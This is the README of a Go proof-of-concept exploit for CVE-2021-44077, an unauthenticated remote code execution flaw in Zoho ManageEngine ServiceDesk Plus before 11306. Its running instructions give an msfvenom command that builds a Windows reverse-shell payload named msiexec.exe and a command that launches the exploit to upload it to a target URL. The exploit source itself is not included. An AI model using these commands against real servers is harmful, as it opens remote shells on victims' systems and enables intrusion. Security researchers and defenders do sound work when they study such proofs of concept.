# Golang-CVE-2021-44077-POC

This exploit is an unauthenticated RCE in Zoho ManageEngine ServiceDesk Plus < 11306. 

You can find a vulnerable version of the software here:

I couldn't find a Golang version of this, so here it is. My code isn't great, so proceed at your own risk. 

Blog post:

## Running

Create a malicious payload in your current directory. 

```msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f exe > msiexec.exe```

Then, run the exploit.

```go run CVE-2021-44077.go -u "" -f "/msiexec.exe"```

-u is the vulnerable URL
-f is your malicious file